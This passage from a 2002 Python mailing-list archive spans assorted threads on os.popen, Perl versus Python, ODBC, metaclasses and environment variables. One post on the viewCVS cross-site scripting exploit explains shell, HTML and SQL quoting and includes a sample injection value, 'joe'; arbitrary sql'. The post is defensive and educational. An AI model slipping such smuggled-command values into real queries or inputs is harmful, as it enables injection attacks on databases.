proxies, remote attribute access, automatic reconnection, a detailed manual, and many examples to get you started right away. Irmen de Jong From max at alcyone.com Thu May 2 18:27:44 2002 From: max at alcyone.com (Erik Max Francis) Date: Thu, 02 May 2002 15:27:44 -0700 Subject: Perl-like backtick in Python References: <3CD18BF3.2F43AA4A@alcyone.com> Message-ID: <3CD1BD60.6B54FF90@alcyone.com> Tom Verbeure wrote: > That would be very ugly, wouldn't it? Uh, why? lines = os.popen("ls -l").readlines() -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Life is one long process of getting tired. \__/ Samuel Butler Interstelen / http://www.interstelen.com/ A multiplayer, strategic, turn-based Web game on an interstellar scale. From emile at fenx.com Mon May 13 18:57:14 2002 From: emile at fenx.com (Emile van Sebille) Date: Mon, 13 May 2002 22:57:14 GMT Subject: How to call another file References: Message-ID: <9xXD8.18340$L76.136@rwcrnsc53> "Catherine Yang" > It doesn't matter what file it is. It can be a C file. By "calling", I mean > executing another file. I want to use Python to finish some tasks, then use > another file (*.sas) to finish another task, then return to Python to > continue. It's like executing a system command from Python, I guess. In the os module, you'll find system, and the popen and spawn families. One of these should do it for you. -- Emile van Sebille emile at fenx.com ---------> From klausm0762 at yahoo.de Wed May 8 16:24:36 2002 From: klausm0762 at yahoo.de (Klaus Momberger) Date: 8 May 2002 13:24:36 -0700 Subject: Whats so good about Python? References: <8580b02e.0205071527.5b6ce52f@posting.google.com> Message-ID: <80a8af7d.0205081224.78a57a0c@posting.google.com> usawargamer at yahoo.com (BHE) wrote in message news:<8580b02e.0205071527.5b6ce52f at posting.google.com>... > People have said good things about Python but Ive never used it. > I use Perl and Java and C++. > > My question is: What does Python offer me over Perl? I dont use > object oriented Perl (which I consider innapropriate) and dont want a > hackers approach. > > If Python is a superior languiage thats here to stay, and a better > language than Perl I'll consider learning it. I use Perl for > scripting, file manipulation, database retrieveal and stuffing, report > generation. > > > (I'm not looking to provoke a fight between Perl and Python backers. > I'd like to know what Pythons strengths and weaknesses are). > You are already delivering a hint at the answer: (Simpler) Object Orientation, which implies better scalability to larger projects. Just take a look at Zope. Can you imagine (someone) writing it in Perl? I can't. -klaus. From ianb at colorstudy.com Thu May 23 12:50:28 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 23 May 2002 11:50:28 -0500 Subject: Python cross-site scripting exploits? In-Reply-To: References: Message-ID: <1022172629.2957.38.camel@localhost> On Thu, 2002-05-23 at 03:18, Robin Becker wrote: > A while back I asked if there were any obvious vulnerabilities in Python > cgi scripting. At the time it seemed no-one would respond positively, > but I see that recently both Mailman and viewCVS have been exploited. > > mailman has compile stuff, but isn't viewCVS pure Python? > > The viewCVS exploit is detailed here > > http://lwn.net/2002/0523/a/viewcvs.php3 > > Can some wizard kindly explain exactly how the client CGI is made > responsible for security defence against bad URLs. It seems to me that > the client browser should be responsible, but apparently not. You have to be a little careful about expecting even minimally valid input, since an attacker can submit invalid data. However, in this case the victim has to follow the invalid link, so it is the browser's fault that it submits invalid data. OTOH, I have seen numerous places where poorly-written scripts depend on embedding <>'s in attributes, and browsers tend to be forgiving of HTML authors' mistakes. > The alleged fix seems to involve more complete argument checking, is > that required for any such defence? What should the request response be? In almost all exploits like this, the solution is to do proper quoting, not argument checking. Otherwise you make valid input illegal. Sometimes this "valid" input is borderline, and you may not want to include it anyway... but filenames like "test>out" are valid (but require quoting in the shell -- but not in open!). Many people don't expect characters like " or <> in their input, but later on they might be appropriate (e.g., someone entering their name as Jesse "The Body" Ventura) This quoting can't be done generally, as different places need different quoting -- the most common being URL quoting, HTML quoting, shell quoting, and SQL quoting. PHP does try to do general quoting -- I can't remember the setting, but it's common for it to be set up to do backslash quoting of all input. However, this is stupid. Backslash quoting does nothing for HTML output. You'll often see PHP-generated pages where ' is replaced with \', usually inappropriately. It only helps in SQL and shell commands. I find the shell to be horribly inappropriate for CGI programs anyway -- os.popen can take a list for the first argument, which is superior and avoids most exploits (but you should be careful about -X options). SQL quoting is obnoxious, because you often will construct a SQL statement from multiple sources, some of which come from the user (and are \-quoted) and some which to not. If you double-quote the user's input, you will again get spurious \'s (since input like "joe'; arbitrary sql" will become "joe\'; arbitrary sql" and then "'joe\\\'; arbitrary sql'") Perl's tainting is better, but simple thoughtfulness is sufficient, IMHO. And thorough quoting. Ian From wurmy at earthlink.net Mon May 27 12:45:57 2002 From: wurmy at earthlink.net (Hans Nowak) Date: Mon, 27 May 2002 16:45:57 GMT Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> <3cf252f7@si-nic.hrz.uni-siegen.de> Message-ID: <3CF263EF.639DD115@earthlink.net> Simon Budig wrote: > The strings are from an external source, so I have no control over them. In that case, Alexander's remark about security risks with eval and exec are on point. Don't do this. (My other mail was merely about usage of eval/exec in general.) Regards, -- Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA==')) # decode for email address ;-) The Pythonic Quarter:: http://www.awaretek.com/nowak/ From sholden at holdenweb.com Wed May 1 16:16:25 2002 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 1 May 2002 16:16:25 -0400 Subject: Using MyODBC with Python References: Message-ID: [posted & mailed] "Sabine Richter" wrote ... > Hello, > > I downloaded and installed myODBC 3.51. As far as I understand, it is > only the driver, which provides the connection to the database. In my > example, it is MySQL 3.23.49. > The manual says that in my application I have to allocate the > environment handle, set the version, allocate the connection handle, > conect to the server etc.. But don't I have to have a library / module > which provides functions which I can use to do all that? But where is > it? Or do I have to write all that by myself? I don't know where to > begin. > Please, may anybody help me understand the architecture and how to use > myODBC with Python? Perhaps anybody has a code snippet for me? > I have to be productive with that till tomorrow morning. So it is urgent > for me. > Well, since I see X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) in your mail headers I will assume you are using Windows 2000. I also have Win2K, and once I installed the MyODBC (in my case 2.50.90.00, but I doubt it will make a difference) I could use the Start Menu |Settings |Control Panel to open Administrative Tools. There I see the Data Sources (ODBC) applet, which I use to create new ODBC sources. You should use system DSNs if you want them to be available to all users. In creating a new source you must specify the MySQL database name and a host of options -- I usually set "read options from C:\My.cnf" and "Disable transactions". The first is useful because it allows your client programs to establish their configuration parameters (username, password, etc.) from the global data file. This may not be appropriate if you want authenticated user access to the database. The second one I set because the default table type (and therefore MySQL databases by default) don't support transactions. The thing you seem to have skipped is that MyODBC is simply an ODBC driver for MySQl. Your program needs an ODBC database module so it can make use of the data sources you set up with MyODBC (and other ODBC drivers, come to that). You could use the one that comes with the Win32 extensions, but I would recommend Marc-Andre Lemburg's mxODBC, which you will find at http://www.egenix.com/files/python/ Note that a license is required for commercial use. This allows you to say stuff like: import mx.ODBC as odbc conn = odbc.connect("SystemDSNName") curs = conn.cursor() curs.execute("SELECT * FROM tablename") data = curs.fetchall() and you should see a list of tuples in "data", each corresponding to a row retrieved from the table. The rest's up to you! Sorry about the similarity in names between MyODBC and mxODBC: each is a separate component playing a different role. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From marfadeu at gmx.de Sun May 5 15:32:30 2002 From: marfadeu at gmx.de (Markus Faust) Date: Sun, 5 May 2002 21:32:30 +0200 Subject: problems when trying to run Gnuplot.py (Gnuplot-1.5) under Python 2.2.1 References: Message-ID: It is in the path, I checked it, and "python setup.py install" also doesn't work. Markus > The most likely problem is that Gnuplot.py isn't in one of the directories > on sys.path. > > regards > Steve > -- > > Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: > http://pydish.holdenweb.com/pwp/ > > > > > From colin at meeks.ca Sat May 18 20:52:06 2002 From: colin at meeks.ca (Colin Meeks) Date: Sun, 19 May 2002 00:52:06 GMT Subject: Parsing a text file for information Message-ID: I have a text file that is several magabytes in size and would like to strip it of certain information. The information I want is always preceeded by GETTEXT= and is in itself 18 characters long. Is there a regular expression I could use to simplify the task. Thanks in advance Colin --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.362 / Virus Database: 199 - Release Date: 07/05/2002 From magni2k at uni.de Fri May 17 07:57:50 2002 From: magni2k at uni.de (magni2k) Date: Fri, 17 May 2002 11:57:50 GMT Subject: how to list elements line by line? Message-ID: <20020517115750.D023B9EE1B@foot.ball.reliam.net> Hi, I have a problem. How can I list all the elements in my serverlist.txt seperate. That means line by line! So that I can call for example: List only the Hostnames! And on the other hand that I can call for example: List only the 1st Hostname, then the 2nd and so on! (If its possible with the sys.argv argument!) Anybody an idea how to handle it? Is it necessary to create a new class or does it with methods? I would be very appreciate for any help or hints. I have listed the source code and the .txt file. Thanks. magni filelist.py import sys, urlparse class ListFile: def __init__(self, filename): self.__file = open(filename, 'r') def __getitem__(self): line = self.__file.readlines() if line: return line else: raise IndexError def __getattr__(self, name): return getattr(self.__file, name) def PrintLine(self): for line in self.__file: print line, return line class URL: def __init__(self, url): self.__url = self.SetURL(url) def Analyze(self): parse = urlparse.urlparse(self.__url) self.__protocol = parse[0] self.__hostname = parse[1] self.__path = parse[2] def GetProtocol(self): return self.__protocol def GetHostname(self): return self.__hostname def GetPath(self): return self.__path def GetAll(self): return self.__url def SetProtocol(self, protocol): self.__protocol = protocol return self.__protocol def SetHostname(self, hostname): self.__hostname = hostname return self.__hostname def SetPath(self, path): self.__path = path return self.__path def SetURL(self, url): self.__seturl = url return self.__seturl if __name__ == '__main__': #u = URL('http://www.python.de/test') #u.Analyze() #print u.GetProtocol() #print u.GetHostname() #print u.SetPath('/index.html') #print u.SetProtocol('ftp') #file = ListFile(sys.argv[1]) #file.PrintLine() for line in ListFile(sys.argv[1]): u = URL(line) u.Analyze() print u.GetHostname() serverlist.txt contains for e.g.: http://www.python.org/index.html ftp://starship.python.org/python/distr http://www.python.de/start.html --------------------------------------------------------------------- Dir wird das Leben zu teuer? Dann zahl doch einfach weniger! Hammer-Schn?ppchen von raba.tt exklusiv bei FirstCampus.de --------------------------------------------------------------------- From huaiyu at gauss.almadan.ibm.com Fri May 17 22:33:49 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Sat, 18 May 2002 02:33:49 +0000 (UTC) Subject: OT: Crazy Programming References: Message-ID: Christopher Encapera wrote: >Interestingly, if one admits archetypes (Plato) then the greatest >instruments of the senses (i.e. 'scientific' instruments) do not get one >inch closer to the archetypes themselves. All instruments, and all >measurement, depend on one of the five senses (sight, sound, taste, touch, >smell). The post powerful microscope, and the Hubble space telescope, are >nothing more than extensions of plain old human sight. If there is some >fundamental epistemological barrier to getting at the REAL with the senses, >instruments instead of being the solution, only extend the original >limitation, possibly even magnify it. Thus, no matter how >accurately/extensively/etc. you sense the shadow, you never get closer to >the REAL itself There are so many incoherent statements in this paragraph that I should probably just ignore it. But I couldn't resist the temptation ... It is not a logical conclusion that if the final recipient has some limitations then the delivery system cannot help. One of the main function of scientific instruments it to transform signals from a range that is alien to human senses to a range that is suitable. Thanks to the transformations, the *effective range* of our senses augmented with the instruments is fundamentally and substantially larger than that of the five senses alone. A mere extention, you say. Is there a fundamental epistemological barrier to getting at the REAL with senses? This is a rhetorical and meaningless question. An epistemological barrier is a fundamental barrier to knowledge, and by definition it is not dependent on the senses. Is there a fundamental epistemological barrier to knowing that pi is an irrational number with the senses? :-) Of course there are plenty of limitation to our senses. Our sense of electromagnetic field is limited to a very narrow frequency range. We cannot tell most chemicals apart with our senses. And so on. But these are not epistemological barriers. With correct instruments we can study these phenomena just as easily and accurately (if not more) as things perceived directly with our senses. In fact, most of human knowledge today is about things that are outside the direct range of human senses (but are of course in the extended range with the help of instruments). So far there is only one fundamental epistemological barrier known to human knowledge - the quantum uncertainty. But how could you say "you never get closer to the REAL itself"? Our senses could only get to the details of about 10^20 quanta apart, but with instruments we can get at the accuracy of about a single quantum. This is 20 orders of magnitude improvement. The fundamental barrier has nothing to do with the limitation of human senses. The high way speed limit has nothing to do with how fast we can walk. And all these are only about physical properties. Through social interactions we can perceive things that are far way, things that happened in the past, or things that are only imagined. We can feel the emotions of others. Most of the time these properties are not transmitted directly through the senses, but rather via various encodings (literature, art recordings, photos, broadcasts, etc). Furthermore, it is not beyond imagination that in some future days we might be able to transmit directly such information from brain to brain without going through the senses at all, not even with encodings. You could dismiss all these as merely seeing the shadows. But that is a very poor analogy [1]. It does not convey the sense of twenty orders of magnitude sharper image of the shadows, nor the magnificent stories told by these images. This much detail itself is knowledge. Unless you discount all this knowledge and instead seek some else-worldly "truth" I cannot see how you can say we cannot get more knowledge than through direct sense. I'll left alone the statement that if there is such a fundamental barrier, instruments might actually magnifies the limitation of senses. I hope you do not mean that not knowing our limitation somehow reduces our ignorance. Note: [1] Incidentally, the Chinese word for movie consists of two characters "electric showdow". This could be used as a much better but still very poor analogy. Huaiyu From joonas.paalasmaa at iki.fi Sat May 18 10:57:39 2002 From: joonas.paalasmaa at iki.fi (Joonas Paalasmaa) Date: Sat, 18 May 2002 14:57:39 GMT Subject: Location of Kevin Cazabon's PIL fonts. References: Message-ID: <3CE66CDD.800@iki.fi> Graham Dumpleton wrote: > In the past at some time, Kevin Cazabon made available a whole bunch of > prepackaged fonts at various DPI for the Python Imaging Library (PIL). > These can be found referenced at: > > http://www.cs.usyd.edu.au/~piers/python/pilfonts.html > > The actual site containing the files is: > > http://www.cazabon.com/python/PIL_fonts > > Unfortunately the site never seems to respond, or at least there is no > HTTP server listening anymore as the box is running. > > Are these fonts located anywhere else? I can't find any further references > on Google. > > Alternatively, can anyone point me to a site describing and providing > scripts for generating 300dpi PIL fonts from some other format. I guess > probably from TrueType fonts so that they will look reasonable, basing > them on 75dpi or 100dpi X windows fonts wouldn't probably be any good for > what I need them for. Fredrik Lundh provides a set of PIL fonts on his website at http://effbot.org/pil/index.htm From paul at boddie.net Wed May 29 12:51:36 2002 From: paul at boddie.net (Paul Boddie) Date: 29 May 2002 09:51:36 -0700 Subject: No parsers found... References: <921D7A043jhewebdeagde@194.45.170.159> Message-ID: <23891c90.0205290851.3378e5c3@posting.google.com> "Shagshag13" wrote in message news:... > i have > [~/local/lib 510 ] ls > libexpat.a libexpat.so libexpat.so.0.1.0 > libexpat.la libexpat.so.0 python2.2 > > but it's look like python doesn't find it no ? > > i should have missed something... Yes, on various UNIX systems you can set the LD_LIBRARY_PATH environment variable: export LD_LIBRARY_PATH=/home/shagshag/local/lib If it's already set, then try... export LD_LIBRARY_PATH=/home/shagshag/local/lib:${LD_LIBRARY_PATH} That works with bash on Linux and Solaris, for a start. Varying the above statement and the variable name should get you closer to making it work on HP-UX with whatever shell you're using. Paul From shagshag13 at yahoo.fr Thu May 30 14:55:47 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Thu, 30 May 2002 20:55:47 +0200 Subject: map document in walkable way... Message-ID: I have document which contain lines : type 2 type 1 type 1 type 2 etc. I would like to create some kind of class that i could use to map my document and use it in a walkable way : d = document(file) for l in d: if l.is_type1(): do_something elif l.is_type2(): do_something_else document if something like a container... but don't know how to do that in a pythoner's way... thank in advance to those who help... s13. From duncan-news at grisby.org Tue May 28 10:29:43 2002 From: duncan-news at grisby.org (Duncan Grisby) Date: Tue, 28 May 2002 14:29:43 GMT Subject: asynchronous callbacks References: Message-ID: In article , hans wrote: >I'm writing a Python extension module that has to handle asynchronous >callbacks. There have been some earlier posts about this, but so far >I haven't found a safe solution. omniORBpy has to do exactly this. When I first wrote it, I created a new Python thread state on every call, but I discovered that that imposes a huge overhead. I implemented a cache of thread states, which halved the invocation time. The code is in C++, but reading it might help you figure out something useful to you. Look at pyThreadCache.h and pyThreadCache.cc in this CVS directory: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/omniorb/omniORBpy/modules/?only_with_tag=omnipy2_develop Cheers, Duncan. -- -- Duncan Grisby -- -- duncan at grisby.org -- -- http://www.grisby.org -- From skip at pobox.com Fri May 24 01:43:10 2002 From: skip at pobox.com (Skip Montanaro) Date: Fri, 24 May 2002 00:43:10 -0500 Subject: python-friendly web hosts: buyer beware In-Reply-To: References: Message-ID: <15597.53998.154172.296716@12-248-41-177.client.attbi.com> Pertinent to this thread, I just added a page to the python.org website with two tables about Python-friendly hosting services. http://www.python.org/hosting/ Feedback to webmaster at python.org is welcome. I'm headed out of town for the Memorial Day weekend, so I won't likely get around to processing comments until next Tuesday at the earliest. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From sholden at holdenweb.com Fri May 31 07:33:59 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 31 May 2002 07:33:59 -0400 Subject: count file References: <3cf734ba_1@news.iprimus.com.au> <53HJ8.7782$fG3.277261@news2.ulv.nextra.no> <3cf74de8_1@news.iprimus.com.au> Message-ID: "Gold Fish" wrote ... > Gerhard H?ring wrote: > > > In article <53HJ8.7782$fG3.277261 at news2.ulv.nextra.no>, Erlend J. Leiknes > > wrote: > >> import os.path > >> path = "/" > >> items = os.path.listdir(path) > >> myfiles = [] > >> for i in range(len(items): > >> if os.path.isfile(path + items[i]): > >> myfiles.append(path + items[i]) > > > > It's better to use os.path.join to join path elements, as this will work > > on any platform. There's no cross-platform way to get the root directory, > > though. On some platforms (Windows, for example), there might not even be > > a single root directory. > > > > Gerhard > How about the directory have another subdirectory, i tried your way but it > show an error when i got subdirectory in the original directory Then you should use os.path.isdir() to check whether you are dealing with a subdirectory and, if so, call your function recursively with the subdirectory as an argument. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From op73418 at mail.telepac.pt Mon May 6 17:16:52 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Mon, 06 May 2002 22:16:52 +0100 Subject: Advice on metaclass programming Message-ID: Hi, I am trying to understand metaclass programming in Python, and to do that there is nothing better than work out an example. What I had in mind is a metaclass whose instances (classes) are the Z_n rings of integers modulo n. Below is a skeleton of such a metaclass. I am seeking advice (comments, bashing, whatever...) on this, particularly in the __new__ method of the metaclass where the classes Z_n and their methods are generated - I'm a bit uneasy on this matter. Are there more pythonic ways to dynamically generate methods? TIA and best regards, Gon?alo Rodrigues PS: Eventually, when the metaclass is fully fleshed out, I will post the code in the ActiveState cookbook as an example in metaclass programming. PS-to-PS: Just a curiosity: Field(2) gives the Boolean ring... -----BEWARE: PYTHON CODE AHEAD---- """ A module for finite arithmetic. """ from __future__ import generators #The simplest prime-detection algorithm possible. def IsPrime(n): if isinstance(n, int) and n >= 1: for i in range(2, n): if n%i == 0: return 0 return 1 else: raise TypeError, "%s is not an integer >= 1." % str(n) class Field(type): """The Finite Field metaclass. For each integer n > 1, Field(n) returns the finite ring (class) of integers modulo n.""" def __new__(cls, n): if isinstance(n, int) and n > 1: #Initialitze methods dictionary. meth = {} #Add the necessary methods one by one. #Initializer. def new(kls, m): if isinstance(m, int): return m%n else: raise TypeError, "%s is not an integer." % str(m) meth["__new__"] = staticmethod(new) #String representation. def strrep(m): return str(m) meth["__str__"] = strrep #Numeric methods #If n is prime add division. if IsPrime(n): pass #Snipped code... return type.__new__(cls, "Z_%d" % n, (int,), meth) else: raise TypeError, "%s is not an integer > 1." % str(n) def __init__(self, n): #Generate docstring. self.__doc__ = """The Z(%d) finite field.""" % n def __str__(self): return self.__name__ def __len__(self): return int(self.__name__[2:]) #The iterator protocol for the class. def __iter__(self): for i in range(len(self)): yield self(i) def ToList(self): """Return a list with all the elements of the class.""" return [i for i in self] #Some test code. if __name__ == "__main__": #Test classes. for i in range(2, 20): temp = Field(i) print "This is the finite ring ", temp, " located at %d" % id(temp) print temp.ToList() From lac at strakt.com Sun May 12 21:32:47 2002 From: lac at strakt.com (Laura Creighton) Date: Mon, 13 May 2002 03:32:47 +0200 Subject: Multibyte Character Surport for Python In-Reply-To: Message from Erno Kuusela of "13 May 2002 03:53:21 +0300." References: <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> <200205111549.g4BFn0jX013371@ratthing-b246.strakt.com> Message-ID: <200205130132.g4D1WlrW008811@theraft.strakt.com> > In article , Laura > Creighton writes: > > | Write it up and post the question to comp.os.plan9. These people have > | put unicode into their whole operating system and have been thinking > | about these issues for their languages for more than a decade. > > it is a nice system. > > on the other hand, utf-8 is ascii compatible and most of the users of > plan 9 are american, so they might not have to address all troublesome > situations right away. Plan 9 may be more used outside of the USA than inside these days. Some of the most active groups of users live in Japan. They've been using Plan 9 for more than a decade. But the most recent thread on the AZERTY keyboard indicates that all is not perfect in paradise ... > > there are major correctness advantages in having strict typing of > "legacy" (1-byte, undefine character set) text versus unicode text. > > -- erno > -- > http://mail.python.org/mailman/listinfo/python-list Laura From aahz at pythoncraft.com Sat May 11 18:14:16 2002 From: aahz at pythoncraft.com (Aahz) Date: 11 May 2002 18:14:16 -0400 Subject: Numbers of active threads References: Message-ID: In article , A wrote: > >I use threading module and I need to control numbers of active >threads. Can you please give me an example how to do that. Read the slides from my OSCON presentation on my web site. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk From donn at drizzle.com Tue May 21 01:56:51 2002 From: donn at drizzle.com (Donn Cave) Date: Tue, 21 May 2002 05:56:51 -0000 Subject: ANSI colored output: How to determine how python was called? References: Message-ID: <1021960609.526205@yasure> Quoth pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard): | [Donn Cave] | |> Quoth pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard): |> ... |> | The normal way to check for colour terminal support is through terminal |> | info capabilities (terminfo). [...] | |> That is indeed the only bona fide declaration of color capabilities, |> but it's good for only a small subset of the color capable terminal |> emulations. If they're coming in as "vt102", it won't help. | | If a terminal declaration is improper, it is likely to be suboptimal. | A terminal emulator should ideally have its own, adequate terminfo entry. | |> [...] but then lynx and other color aware applications will do really |> horrible things with them, distasteful and unreadable. | | When such things happen, either the terminfo description is improper, or | the application has bugs with terminal handling. One should either correct | the terminfo description, or debug the program. We probably agree on the | fact these areas are not that much fun, and diagnosing terminfo-related | problems require patience, study, and some dedication :-). I think if you saw what I've seen, we'd agree on more. Within the limitations of ANSI terminal emulation color, the only reliably satisfactory approach is to put the entire color scheme under the control of the user. At this point, you don't need any special information from terminfo (of course it's good to check.) If you have a fairly recent version of Pine, that's an example. Aside from terminfo inaccuracies and application bugs, there are also bugs and misfeatures in terminal emulators, especially when you get into interesting combinations with the less commonly used background color options. Donn Cave, donn at drizzle.com From johnroth at ameritech.net Sat May 18 07:37:43 2002 From: johnroth at ameritech.net (John Roth) Date: Sat, 18 May 2002 07:37:43 -0400 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> Message-ID: "Tim Daneliuk" wrote in message news:3CE5AFD3.32D59F at tundraware.com... > Python does just what needs doing ... see the end of this piece for why: > > http://www.tundraware.com/Technology/Bullet/ > > > ---------------------------------------------------------------------- -------- > Tim Daneliuk > tundra at tundraware.com I just read it, and I don't see any connection whatsoever between your title and the subject of your paper. Nevertheless, your paper is quite interesting in its own right, it's just in the wrong newsgroup. What you're missing is that (IMNSHO) the root problem is how we manage projects. For a radically different approach, you might look at Extreme Programming. While the methodology is generally used with OO, it can actually be used with any programming technology, as long as you can get a sufficiently fast compile/execute cycle going. John Roth From jason at mastaler.com Wed May 22 15:17:11 2002 From: jason at mastaler.com (Jason R. Mastaler) Date: Wed, 22 May 2002 13:17:11 -0600 Subject: rfc822 module: deleting headers References: Message-ID: Tim Roberts writes: > You can read the message, send it somewhere else, store it to file, > or do other things, but you can't alter the message on its way to > your local mailbox. Indeed, in your example, you didn't DO anything > with your altered message. You read it from stdin and modified it > in memory, but you didn't write it anywhere. Yup, that's what I thought, I just wanted to make sure I wasn't missing something obvious. As another poster pointed out, this is related to TMDA, and the program I posted is just a small test case illustrating a larger problem. Basically, when TMDA decides to "deliver" a message, it can do this in a variety of ways (mbox file, Maildir, | to program, etc.). Under qmail, another option is exit(0) which allows the user to deliver the message using the next line in her .qmail, rather than having TMDA do it. The problem comes in when I want to remove a certain header just before delivery. With all methods except the exit(0) this is trivial, but as soon as the program exists, the changes to the headers in memory are lost, so this isn't possible. Thanks y'all. -- (http://tmda.sourceforge.net/) From Chris.Barker at noaa.gov Thu May 30 13:18:31 2002 From: Chris.Barker at noaa.gov (Chris Barker) Date: Thu, 30 May 2002 10:18:31 -0700 Subject: Newbie Database. References: <24d8090a.0205270854.6cadc50b@posting.google.com> <24d8090a.0205271841.19cc5011@posting.google.com> Message-ID: <3CF65EE5.E1241FCB@noaa.gov> Gillou wrote: > > > > > Yeah I had a feeling that it would be cumbersome. Do you know of any > > database engines that are easily controlled by python and/or easy to > > learn :) I've never really been exposed to them before. You might want to try MetaKit at well... http://www.equi4.com/metakit/python.html -Chris -- Christopher Barker, Ph.D. Oceanographer NOAA/OR&R/HAZMAT (206) 526-6959 voice 7600 Sand Point Way NE (206) 526-6329 fax Seattle, WA 98115 (206) 526-6317 main reception Chris.Barker at noaa.gov From duncan at NOSPAMrcp.co.uk Tue May 28 06:16:56 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Tue, 28 May 2002 10:16:56 +0000 (UTC) Subject: Namespace problem References: Message-ID: Geiger Ho wrote in news:Pine.GSO.4.05.10205281716320.11422-100000 at sparc41: > Hi all, > > Consider: > > File1.py: > --------- > import File2 > import File3 > > class A: > def __init__(self): > self.b = File2.B() self.c = File3.C(self) > def run(): > pass > > if __name__ == '__main__': > a = A() > a.run() > > > File2.py: > --------- > class B: > def foo(self): > pass > > File3.py: > --------- > class C: def __init__(self, a): self.a = a > def fun(self): > # a method need to callback a.b.foo() > # how can I implement self.a.b.foo() > > Question: > How should I call the a.b.foo() in the fun method? One way to do this is shown above. N.B. This creates a circular reference so don't expect the objects to be cleaned up immediately you have finished with them. -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From grey at dmiyu.org Wed May 15 13:55:25 2002 From: grey at dmiyu.org (Steve Lamb) Date: Wed, 15 May 2002 10:55:25 -0700 Subject: Core Python programming In-Reply-To: <200205151748.g4FHmurW016426@theraft.strakt.com> References: <337619fa.0205121618.26e557e0@posting.google.com> <200205151748.g4FHmurW016426@theraft.strakt.com> Message-ID: <20020515105525.61c2ecb6.grey@dmiyu.org> On Wed, 15 May 2002 19:48:56 +0200 Laura Creighton wrote: > You will be happy to know that the Beazley book has been updated to 2.1. > worth every penny. Ah! I did not know that! I do believe a trip to bn.com has just been made a priority. -- Steve C. Lamb | I'm your priest, I'm your shrink, I'm your ICQ: 5107343 | main connection to the switchboard of souls. To email: Don't despair! | -- Lenny Nero, Strange Days -------------------------------+--------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From aleax at aleax.it Wed May 1 05:22:35 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 09:22:35 GMT Subject: Python vs. Perl, which is better to learn? References: <20020501052506.30164.5146.Mailman@mail.python.org> Message-ID: Terry Hancock wrote: ... > tasks in nicely compact ways (such as the "process > all lines in all files mentioned on the command line, > or failing that, all the lines coming from stdin", > which is basically what "<>" means). Basically, it Python's equivalent, "for line in fileinput.input():", seems quite good to me -- just one more case of: >> The "Perl thing" tends to be shorter, while the "Python >> thing" tends to be more readable. Alex From cjensen at bioeng.ucsd.edu Fri May 31 11:11:25 2002 From: cjensen at bioeng.ucsd.edu (Curtis Jensen) Date: Fri, 31 May 2002 08:11:25 -0700 Subject: Python IDE References: Message-ID: <3CF7929D.2020903@bioeng.ucsd.edu> destr0 wrote: > If I remember right didn't python.org have a page that listed python > IDE's.... I can't find it now. I'm looking for a good IDE for linux. > (idle is wonderful... I know..) preferable something with project > management and maybe class auto-completion. http://www.python.org/editors/ -- Curtis Jensen cjensen at bioeng.ucsd.edu http://www-bioeng.ucsd.edu/~cjensen/ FAX (425) 740-1451 From false at email.com Wed May 22 17:30:53 2002 From: false at email.com (Lorenzo Bolognini) Date: Wed, 22 May 2002 21:30:53 GMT Subject: Low level memory management References: Message-ID: Thanks Chris for the nice reply! ;-) From claird at starbase.neosoft.com Mon May 20 08:31:03 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 20 May 2002 07:31:03 -0500 Subject: Merits of replacing bash with python References: Message-ID: <02EAAF592774D82F.9E96EC4BE1BD23DE.72206791183A181A@lp.airnews.net> In article , Martin v. Loewis wrote: >"Kevin Davies" writes: > >> I am pretty new to python and am looking for some good reasons to >> replace bash with python. >> >> I can see already that python is pretty much executable pseudocode and >> is OO. >> >> Can anyone give further insight? > >For writing scripts, I'd give the following reasons why writing Python >is better than writing bash: > >- more stuff is built-in; you don't need to create new processes >- execution of Python code is faster than bash's interpretation >- Python gives better error messages in case of problems >- Python exposes system functionality that might not be available > as a utility (e.g. newgrp to a numeric group) >- Python exposes additional libraries not available in shell (sockets, > GUIs, dbm, etc) > >For interactive use, I would not recommend to replace bash (except, >perhaps, with zsh :-) . . . Also, Python's a better language. That sounds inflammatory, although it's not my intent. I'm always among those urging folks to consider that languages are more *different* than better/worse. A comparison of Python and bash is reasonably straight- forward, though. Python's simultaneously more regular (easy, simple), more powerful, and more portable (which I shan't insist is a "language" issue, if someone wants to fuss). That's a winning combination. I still use bash for some things. I don't think there's much use in newcomers learning it, though. Sockets *are* available to the newer *sh-s, by the way. Some of them also bind to Tk for GUI capa- bilities. Polish is less than for Python. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From shalehperry at 